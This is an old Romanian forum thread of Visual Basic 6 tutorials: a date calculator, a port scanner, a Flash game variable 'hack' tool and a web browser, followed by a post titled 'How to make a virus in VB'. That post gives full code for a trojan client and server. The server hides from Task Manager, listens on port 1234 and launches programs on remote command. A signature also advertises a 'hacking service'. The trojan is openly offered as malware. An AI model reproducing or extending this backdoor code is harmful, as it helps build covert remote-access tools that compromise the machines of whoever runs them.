VISUAL BASIC TUTORIALS

EXTREMEZONE FORUM
WWW.EXTREMEZONE.3XFORUM.RO - WWW.TORENTZ.3XFORUM.RO- WWW.PETARDEARTIFICII.CABANOVA.COM http://www.facebook.com/petardeartificiidevanzare

Lista Forumurilor Pe Tematici

EXTREMEZONE FORUM | Reguli | Inregistrare | Login

POZE EXTREMEZONE FORUM

Nu sunteti logat.

Nou pe simpatie:
Lolalola Profile

Femeie
22 ani
Cluj
cauta Barbat
26 - 80 ani

EXTREMEZONE FORUM / TUTORIALS / ~VISUAL BASIC TUTORIALS~

Autor

Mesaj

Pagini: 1

SIGISMUNT
☻ADM!N☻

Din: WTF & SoB
Inregistrat: acum 16 ani
Postari: 5916

Date calculator!

What we're doing!

Basically we'll be making a program that calculates the date difference between the two dates specified!

GUI (LAYOUT):
This is my GUI:

----------------------------------------------------------------

What you need~
1 Command Button with:
Name: cmdCalc
Caption: Calculate!

1 ListBox with:
Name: lstAnswer

----------------------------------------------------------------
CODE (Very short & simple!)

Add this code into General Declarations before you begin adding the rest of the code:

----------------------------------------------------------------

Then add this code:

----------------------------------------------------------------

Code Explanation:

Basically means whenever you click on the cmdCalc button ("Calculate!" button), do the code that's specified below the line.

----------------------------------------------------------------

Means calculate the day difference between the dates specified.

----------------------------------------------------------------

Simply means add the answer to the LixtBox.

----------------------------------------------------------------

You can also change this:
The "d" can be changed into other things like:

Year(s): "yyyy"
Month(s): "m"
Week(s): "ww"
Day(s): "d"
Hour(s): "h"
Minute(s): "n"
Second(s): "s"

Just replace the "d" with one of those and you're done!

ALSO you can obviously change the dates to whatever you want!

Thanks to Tcm9669 for the Screenshot program.

Thanks to TheComputerMaster for the upgraded Screenshot program.

Thanks to you for reading this tutorial!

Making a Port Scanner

Introduction/Problem:-[/color]
Well I was searching the net for a port scanner and you know what! Some of them didn't work, others froze my PC, and others were soooo somplicated with alot of BS! So I decided to make mine and I decided to make a TUT for you my friends!

[COLOR="SeaGreen"]Usage:-[/color]
Well simple, scan an IP for open ports, you can scan your own PC so to see if you have any open ports, if you find any open ports you may be infected from or Virus or trojan and a hacker can connect and can control your PC by connecting to your PC from that port!

[COLOR="SeaGreen"]Requirements:-[/color]
[list]Visual Basic (prefiribly 6.0)[/list]

[COLOR="SeaGreen"]Solution:-[/color]
Ok So as usual open VB, and choose Standars EXE, i will not post a picture of this step coz I posted this on other Tuts so if you dont know how see the other tuts!

What you need:-
2 Text boxes ( Text1,Text2 )
1 ListBox ( List1 )
3 Command Buttons ( Command1, Command2, Command3 )
1 Timer ( Timer1 )
1 Winsock Component ( Winsock1 )
If you can't find the Winsock do as below:-

And after a dialog box will be displayed scroll down till you find "Microsoft Winsock Control 6.0 (SP6)"
here is how:-

Ok so now we have everything setup here is the GUI I used, you can make your own, but I will just "inspire' you lol!:-

Ok now that you setup everything its time for the code( I know its a bit long but dont worry I will explain EVERYTHING!):-

Code:

Private Sub Form_Load()
Timer1.Interval = 1
Timer1.Enabled = False
Text2.Text = "0"
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Winsock1.Close
Text2.Text = Text2.Text + 1
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
End Sub
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
Timer1.Enabled = False
Text2.Text = "0"
End Sub
Private Sub Command3_Click()
List1.Clear
End Sub
Private Sub Winsock1_Connect()
List1.AddItem Winsock1.RemotePort & " is open!"
End Sub

[COLOR="SeaGreen"]Code Explanation:-[/color]

Code:

Private Sub Form_Load()
Timer1.Interval = 1
Timer1.Enabled = False
Text2.Text = "0"
End Sub

Here we are Disabling the timer so when we start our program the it will not start scanning!
and then we are setting Text2 to 0 ( this is the port number to start with )

Code:

Private Sub Timer1_Timer()
On Error Resume Next
Winsock1.Close
Text2.Text = Text2.Text + 1
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
End Sub

Here is the main program, when an error is encountered it will still continue,Closes the conenction, increase the port number by 1, and tries to connect!

Code:

Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Start Scanning

Code:

Private Sub Command2_Click()
Timer1.Enabled = False
Text2.Text = "0"
End Sub

Stop and reset the port number to 0

Code:

Private Sub Command3_Click()
List1.Clear
End Sub

Here it clears the list of the open ports that were found!

Code:

Private Sub Winsock1_Connect()
List1.AddItem Winsock1.RemotePort & " is open!"
End Sub

When an open port is found it adds the port number to the listbox!

[COLOR="SeaGreen"]How does this works?[/color]
Just enter an IP ( if you want to scan your own PC go on www.whatismyip.com ) and copy the IP and paste it in the Textbox ( text1 ) and hit the command1 button! text2 ( from what port to start scanning )is 0 by default but you can set it to any port number you want!

[COLOR="SeaGreen"]Complete Source Code:-[/color]
Well I included the FULL source code its an attachment, its the complete project just compile and have fun

Making a Flash game player

Well in this tutorial we'll be making a Flash game player with some "hacks".

----------------------------------------------------------------

GUI (LAYOUT):

Here is my GUI:

----------------------------------------------------------------

What you need:

Here is what items/buttons you need:

3 Command Buttons with:

#1 Command Button:
Name: cmdCash
Caption: Get Cash

#2 Command Button:
Name: cmdPower
Caption: Get Power

#3 Command Button:
Name: cmdTurrets
Caption: Get Turrets

3 Text Boxes with:

#1 Text Box:
Name: txtCash
Caption (None)

#2 Text Box:
Name: txtPower
Caption: (None)

#3 Text Box:
Name: txtTurrets
Caption: (None)

Give it the:
Name: Movie

Now to get the flash game playing.....

First go to a flash game site (like miniclips or something) and load up a game. Wait until it's 100% fully loaded and then go into your "Temporary Internet Files" folder and find the game name with the extension ".swf". Right-Click it and then copy the location, in this case mine's:

http://www.funny-base.com/games10/turretdefense.swf

And then go back to VB and click on the Movie box (The thing we just made) and then do this:

And you're done! YAY!

----------------------------------------------------------------

CODE:

Here is the code:

----------------------------------------------------------------
CODE EXPLANATIONS:

This just means every time you click the "cmdCash" button, it changes the variable (code) number to the number specified in the txtCash Text Box.

----------------------------------------------------------------

This does exactly what the first one does BUT it changes a different code (_root.power).

----------------------------------------------------------------

Also does the same as the two other codes! Again, it just changes a different code (_root.available_turrets).

----------------------------------------------------------------

If you need any help with this tutorial/Sothink's SWF Decompiler/Flash games then please feel free to PM me or post in this Thread!

Thanks to TheComputerMaster and Tcm9669 for the ScreenShot programs.

Thanks to you for reading this tutorial!

MAKING A INTERNET BROWSER

Well basically i've been playing around with a few functions i've learned through other tutorials and i'd like to make a tutorial on making an internet browser with history saving & Menu.

-------------------------------------------------------------------
GUI (LAYOUT)
Here is my GUI:

-------------------------------------------------------------------

What you need:

6 Command buttons with the following Names/Captions:

Command Button #1:
Name: cmdHome
Caption: Home

Command Button #2
Name: cmdBack
Caption: Back

Command Button #3
Name: cmdForward
Caption: Forward

Command Button #4
Name: cmdStop
Caption: Stop

Command Button #5
Name: cmdRefresh
Caption: Refresh

Command Button #6
Name: cmdGo
Caption: Go

1 ComboBox with the following Name/Caption (Caption is the same as Text... Just find "Text" in the properties window):
Name: cboURL
Caption/Text: (Nothing)

1 Label with the following Name/Caption:
Name: lbCaption
Text: Address:

1 Web Browser with the following Name:

Now for the web browser, you'll need to add the component:
"Microsoft Internet Controls" You can get to the components window by press CTRL+T on the keyboard, then scroll down and tick "Microsoft Internet Controls".

After doing the above procedures, there should be a new item on the list of the tool bar. It looks like the Earth. Now click on it and drag it onto your Form, make it big because it's what you'll be using to view pages with.. Use this Name:
Name: wWeb

If you're having problems like an error when you click "Microsoft Internet Controls" just PM me and i'll help you out.
----------------------------------------------------------------

CODE WITH EXPLANATIONS!

Add this code to cmdHome button (Double click on the Home button to bring up code window.

This makes the web browser (wWeb) go to the home page when you click the "Home" button.
(The home page for me is Google, i think it jsut uses your other browser's home page...)

----------------------------------------------------------------

This makes the web browser (wWeb) go to the previous page whenever you click the "Back" button.

----------------------------------------------------------------

This code instructs the web browser to go to the subsequent page when you click the "Forward" button.

----------------------------------------------------------------

Okay, it's getting a bit harder now.
The above code makes the web browser (wWeb) go to the page specified by the cboURL box (ComboBox).
AND also whatever is entered into the cboURL box is also added to the drop down arrow box (like history).

----------------------------------------------------------------

This refreshes the web browser when you click the "Refresh" button.

----------------------------------------------------------------

This code stops the web browser in it's tracks! Basically just stopping it from loading any further.

----------------------------------------------------------------

MENU + CODES

Ok to add a menu to the form you need to go to Tools>Menu Editor or just press CTRL+E.

A window like this will pop-up:

Now add the following in:

----------------
Then press "Next"

And then press the Right-Arrow key to make the 3 dots appear:

Add this in:

------------------
Then press "Next"
(Let 3 dots appear):

------------------
Press "Next" again.
(This time take away the 3 dots by pressing the left arrow key)

----------------
Press the "Next" button again!
(And make the 3 dots appear again by pressing the right-arrow key)

---------------------
Press the "Next" button again!
(Keep the 3 dots):

----------------------
MENU CODE

Basically just prints off the page.

----------------------------------------------------------------

This is an essential code to make the "History" function work.. It makes history work.. Lol.

----------------------------------------------------------------

Closes the program.

----------------------------------------------------------------

Moves the program window.

----------------------------------------------------------------

Resizes the program.

And if you're lazy and just want the full code:

----------------------------------------------------------------

EXTRA

You can also add extra message boxes to the exit buttons just in case you accidentally press Exit.

Here is the code:
----------------------------------------------------------------

Or:
----------------------------------------------------------------

Or jsut simply:
(Put this code between the Private Sub "?"_Click ()
and End)
(The "?" stands for the button name... Put the button name in, whatever it is)

----------------------------------------------------------------

THANKS:

Thanks to Tcm9669 for the original Screenshot program.
Thanks to TheComputerMaster for the updated "hidden" version of the Screenshot program.

And thanks to you for taking the time to read this awfully long tutorial.

SE VA FACE UPDATE IN CURAND

DACA MAI ARE CINEVA DE BAGAT TUTORIALE DE VB SA O FACA IN CONTINUARE

_______________________________________
PASSWORD ► REMEMBER TO SAY "THX" AND REPORT DEAD LINKS ►

pus acum 16 ani

SIGISMUNT
☻ADM!N☻

Din: WTF & SoB
Inregistrat: acum 16 ani
Postari: 5916

How to make a virus in VB ( With Pic step by step)

First get Visual Basic 6.0 Enterprice or Professional both are ok.
To make a trojan horse we need to create two files a Server and a Client.

We start with the Client:
Open Visual Basic 6.0
Open a new standard.EXE
Like down here?

After you open the standard.exe you will look at form1 that is looking like this:

Add a 1 textbox and a 3 command buttons to the form.
Chance text of Textbox1 to 127.0.0.1 and set Alignment to Center
Chance caption of command button 1 to ?connect?
Chance caption of command button 2 to ?open msn?
Chance caption of command button 3 to ?open explorer?

It will looks a little like this:

Ok now we gonne add the Winsock.ocx by clicking right on the toolbox and click components to add the microsoft winsock control 6.0 (SP6)

Like this:

And add the winsock control to your project

Ok now we gonne write the code for the client:
Dubbel click on the connect button to open the code size and add the following code?

Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 1234
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Winsock1.SendData "msn"
End Sub

Private Sub Command3_Click()
Winsock1.SendData "ex"
End Sub

Private Sub Winsock1_Close()
Winsock1.Close
End Sub

Private Sub Winsock1_Connect()
Form1.Caption = "Connected To " & Text1.Text
End Sub

That?s all for the Client now so save this project and start up Visual Basic again.

Now we gonne make the server part so we can complete the trojan.
Start a new Standard.EXE
On this form we only gonne add the winsock.ocx control

Dubbel click on the Form to open the code place for Form1 and add the following code:

Private Sub Form_Load()
App.TaskVisible = False ?to make the server unvisible to Ctrl Alt Del
Me.Hide ?hide the Form when load
If App.PrevInstance = True Then
Unload Me ?if the App ir allready running close the App
End If
Winsock1.LocalPort = 1234
Winsock1.Listen ?let the server listen on port 1234 for you to connect
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data

If data = "msn" Then
On Error Resume Next
?open msn messenger on the server side
Shell ("C:\Program Files\MSN Messenger\msnmsgr.exe"

Shell ("C:\Program\MSN Messenger\msnmsgr.exe"

End If

If data = "ex" Then
On Error Resume Next
?open explorer on the server side
Shell ("C:\Program Files\Internet Explorer\IEXPLORE.EXE"

Shell ("C:\Program\Internet Explorer\IEXPLORE.EXE"

End If

End Sub

Sper ca v-a ajutat :-D {EZ}

_______________________________________
PASSWORD ► REMEMBER TO SAY "THX" AND REPORT DEAD LINKS ►

pus acum 16 ani

necse_devil
Pe lista neagra

Inregistrat: acum 16 ani
Postari: 13

ms man trebe sa iau si eu VB ca vad ca ie bun

~visual basic tutorials~ man trebe iau vad bun

30.1KB

pus acum 15 ani

NOKIA00X
MEMBRU ACTIV

Inregistrat: acum 15 ani
Postari: 213

HostName: Dangers RolePlay [v0.2X]
Address: 93.187.143.28:7777
Players: 6 / 40
Ping: 47
Mode: RolePlayGames
Map: DangerS

APP: Visual Basic = "Floare la ureche " pentru mine

_______________________________________
HACKING SITE

ROMANIAN HACKING Service CLICK HERE

pus acum 15 ani

chico
NOVICE

Din: Nürnberg
Inregistrat: acum 16 ani
Postari: 51

eu programmez in VB2008 mai programmeaza careva dintre voi..?

_______________________________________
Die besten Dinge im Leben sind nicht die, die man für Geld bekommt.
Zitat:Albert Einstein, (1879 - 1955)

pus acum 14 ani

Pagini: 1

Mergi la